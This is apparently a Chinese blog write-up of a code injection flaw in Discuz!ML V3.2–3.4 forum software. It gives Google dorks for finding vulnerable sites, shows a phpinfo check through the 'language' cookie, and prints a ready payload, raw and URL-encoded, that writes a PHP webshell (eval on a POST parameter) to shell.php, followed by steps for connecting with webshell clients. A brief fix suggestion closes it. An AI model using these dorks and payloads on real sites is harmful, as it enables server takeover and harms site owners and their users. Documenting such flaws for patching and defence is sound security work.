Discuz ML! V3.X存在代碼注入漏洞,攻擊者通過精心構建的請求報文可以直接執(zhí)行惡意的PHP代碼,進一步可獲取整個網站的服務器權限。
漏洞影響版本:
Discuz!ML v.3.4 、Discuz!ML v.3.2 、Discuz!ML v.3.3 product of codersclub.org
1.1如何區(qū)分Discuz!ML V3.X站:
一般主頁面都存在下面兩個標識符。


谷歌dork:
Dork 1:“?2009-2019 codersclub.org”
Dork 2:“MultiLingual version,Rev?!?/p>
實現(xiàn)驗證過程:
利用burp抓包,將抓到的數(shù)據(jù)包發(fā)送到Repeater,構造請求參數(shù)。
將tSWa_2132_language=sc 后面填上Phpinfo就會顯示所有phpinfo輸出的響應
因為cookie字段中l(wèi)anguage沒有對參數(shù)進行過濾直接拼接從而寫入緩存文件之中,兒緩存文件隨后被加載,從而造成代碼執(zhí)行。
phpinfo驗證

我們還可以進一步利用比如寫一句話木馬進去,但是我們要對木馬進行編碼要不然引號容易重復。
這是沒有進行編碼的寫入木馬方式
'.file_put_contents('shell.php',urldecode('<?php eval($_POST["mo"]);?>')).'
這是編碼后: %27.file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp%2520eval%28%2524_%2550%254F%2553%2554%255b%2522mo%2522%255d%29%253b%253f%253e%27%29%29.%27

如果頁面顯示正常代表木馬已經成功被寫入,現(xiàn)在就可以拿起我們的菜刀或者蟻劍進行連接。

修復建議
建議修改source/function/function_core.php 644行
/*vot*/?$cachefile?=?'./data/template/'.'sc'.'_'.(defined('STYLEID')???STYLEID.'_'?:?'_').$templateid.'_'.str_replace('/',?'_',?$file).'.tpl.php';
刪除可控變量
基本上上就結束了,喜歡的關注一下。